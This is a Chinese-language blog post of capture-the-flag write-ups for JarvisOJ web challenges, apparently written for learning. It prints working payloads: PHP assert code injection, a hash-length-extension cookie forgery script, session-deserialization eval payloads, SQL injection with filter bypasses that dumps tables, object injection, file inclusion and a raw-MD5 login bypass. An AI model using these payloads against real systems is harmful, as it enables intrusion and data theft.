本篇博客介绍了jarvisOJ上web部分题writeup!!!

[61dctf]babyphp

打开题目发现提示git搭建的,有没有源码泄露?

githack跑下,得到源码

1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

从泄露里可以看到有flag.php,猜测flag在里面

从源码里可以看到可以代码执行

payload:

?page='^system('cat templates/flag.php')^'

得到flag

[61dctf]admin

打开题目网址:

dirsearch一扫

访问robots.txt

访问提示的内容

flag出来了?那么简单?就是那么简单

LOCALHOST

打开题目网址:

仅本机访问,立刻想到抓包改XFF

flag就这样出来了,是不是很简单?就是这样简单

PCTF{X_F0rw4rd_F0R_is_not_s3cuRe} 

flag在管理员手里

打开提示Only Admin can see the flag!!

抓包看下,很明显问题的入手点在Cookie这里

url解码发现是

改下guest重新发包发现没反应,应该和hsh有关系

没什么思路,就扫下路径吧,dirsearch扫到备份文件index.php~,但打开发现不能看到源码

猜测是vi异常退出的文件,第一次异常退出会产生一个*.swp,再次意外退出后,将会产生名为*.swo的交换文件;而第三次产生的交换文件则为*.swn的文件,依此类推。

可以直接用vim -r恢复文件

恢复出来的关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

这段代码的意思就是反序列化Cookie里的role,将salt(未知)和反转后的role拼接一起并MD5加密,然后与Cookie里的hash比较,相等就会输出flag

这就要用到hash扩展攻击的知识参见我的另外一篇博客:https://www.moonback.xyz/2019/12/16/hash-extend-attack/

由于我们不知道$salt的长度,所以我们需要对其长度爆破,爆破之前,我们需要知道的是反序列化函数存在00截断,为保证$role==="admin",我们必须s:5:"guest";在前面,注意服务端在md5加密的是反转的role的键值。所以我们构造的payload应该为以下内容,最终知道salt的长度为12(0c)

这里有个脚本,需要装个hashpumpy库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hashpumpy
import urllib
import requests

url='http://web.jarvisoj.com:32778/'
hsh='3a4727d57463f122833d9e732f94e4e0'
s1='''s:5:"guest";'''
s2='''s:5:"admin";'''
for i in range(1,30):
m=hashpumpy.hashpump(hsh,s1[::-1],s2[::-1],i)
# 四个参数分别为 hash值 secret后的字符串 更改后secret后的字符串 secret的长度
print i
Cookie="role="+urllib.quote(urllib.unquote(m[1])[::-1])+"; hsh="+m[0]
headers={"Cookie":Cookie}
r=requests.get(url,headers=headers)
if "Welcome" in r.text:
print r.text;
break

PHPINFO

拿到题是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

既然题目告诉我们phpinfo,我们就尝试访问一下,发现果然存在

从phpinfo能看出来好多东西,这里就不绕弯子了

本题考察的就是session反序列化的知识

session.save_path是指session的存储路径,如果是no value,那么将会是默认路径/tmp/sess_**

session.serialize_handler是指session的序列化引擎。Master Value是PHP.ini文件中的内容,Local value 是当前目录中的设置,这个值会覆盖Master Value中对应的值

session.upload_progress.cleanup这个是指session上传进度是否自动清除的选项

可以看下手册

大概意思就是,如果session上传进度开启的话,可以POST一个PHP_SESSION_UPLOAD_PROGRESS变量,上传进度会保存在$_SESSION中,然后通过php序列化引擎的不同来导致漏洞(session的写入会序列化,session的读取会反序列化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = '恶意代码';
}

function __destruct()
{
eval($this->mdzz);
}
}
$a=new OowoO();
echo serialize($a);
?>

序列化的结果

O:5:"OowoO":1:{s:4:"mdzz";s:16:"恶意代码";}    //长度修改下

这里我们用下面这个网页构造

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

抓包可以看到

从phpinfo可以看到网站路径是/opt/lampp/htdocs,然后在filename插入反序列化的内容

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

api调用

这题就是一个简单的xxe

抓包将Content-Type改成application/xml,POST区添加而已xml就行

打开题目,发现有三个页面

切换一下发现有page这个参数,瞬间想到了文件包含

试试index.php

发现是fopen函数,想到了%00截断,试试吧

构造类似的payload:

index.php?page=uploads/1576482315.gif%00

上传一个gif/jpg图片马,发现

<?php?>做了过滤?

试试<script language='php'></script>

得到flag,感觉View功能都没用上2333…..

IN A Mess

打开题目网址:

看到id=1,第一时间想到注入,很可惜不是注入

查看源代码看到有个提示,访问一下

得到一大串代码,排版一下

传入三个参数,id,a,b

id值等于0但自身不能为0,可以弱类型比较

a涉及file_get_contents,需用伪协议php://input传入”1112 is a nice lab!

b长度大于5且可能涉及eregi绕过,可以用%00截断

payload1:?id=0.&a=php://input&b=%000x34aa  并post个1112 is a nice lab!
payload2:?id=0e&a=data:,1112 is a nice lab!&b=%00411111

关于payload2中data:后为什么有逗号,具体参见:
https://blog.csdn.net/qq1045553189/article/details/87479691

本以为得到了flag,提交发现错误,再看看500大分的题,应该不会那么简单,
再战

也不绕弯子了,直接访问我们我们得到的信息,果然有这个网页,不要问我为什么>_<

又看到id=1了,再次想到注入,这次对了,加个/,发现

尝试id=2-1,发现返回还是id=1的结果,说明代入执行了,存在注入
回显为如果检测到注入就返回you bad boy/girl!,如果执行了查询不到结果就返回执行语句

order by 判断列数,发现被过滤了,

将空格替换成/**/发现也被过滤了,将空格替换为/1/,返回hi666

当为4时报错,只有三列,联合查询判断回显位,发现发现union,select,from都被替换为空了,双写即可绕过

?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,database(),3%23

执行发现回显3,说明第三个位置为回显位

?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,database()%23

爆出数据库test

?        id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()%23

爆出表为content

?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_schema=database()#

爆出字段id,context,title

?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(id,0x23,context,0x23,title)/*1*/frfromom/*1*/test.content#

PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

神盾局的秘密

打开题目,发现是一张图片,Ctrl+U查看源码发现

猜测img传的东西是base64加密的,解密以下发现是shield.jpg,换成其他/etc/passwd发现不行,尝试包含index.php,showimg.php,shield.php

index.php:

1
2
3
4
5
6
7
8
9
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

showing.php:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

shield.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

可以知道flag在pctf.php中,但过滤了pctf,不能直接包含pctf.php

构造反序列化序列:

payload:

index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

查看源码得到flag

Login

打开题目网址:

好像没什么思路啊,抓包看看吧

看到响应头中有个提示

"select * from `admin` where password='".md5($pass,true)."'"

md5()函数有两个参数

参数一是要加密的字符串;

参数二是输出格式:为true时,表示输出原始16字符二进制格式;
默认为false,表示输出32字符十六进制数。

看到提示第一时间想到注入,可是如何闭合sql语句呢?如果找到一个字符串MD5加密后得到的原始二进制格式在SQL中拼接成 类似 ‘or’xxx的形式就可以绕过了

ffifdyop提交flag就出来了

PCTF{R4w_md5_is_d4ng3rous}

LOCALHOST

打开题目网址:

仅本机访问,立刻想到抓包改XFF

flag就这样出来了,是不是很简单?就是这样简单

PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

PORT51

打开题目网址可以发现:

它让我们用51端口访问这个网址

看其他大佬的wp用的是curl命令,打开虚拟机咱也试下吧

curl –local-port http://web.jarvisoj.com:32770/

神魔情况?又看了看几位大佬的博客,说是必须要用公网IP的主机才行。不太死心,又试了试cmd里的,果然还是不行。

查看了众多大佬的博客后得出的原因好像是:本地私有地址从代理服务器出去后,使用的是代理服务器的端口,这个端口往往不会是51,我用的是校园网,虚拟机也是经过主机走的校园网,所以。。。。

没办法只能抄别人的flag了

PCTF{M45t3r_oF_CuRl}    

评论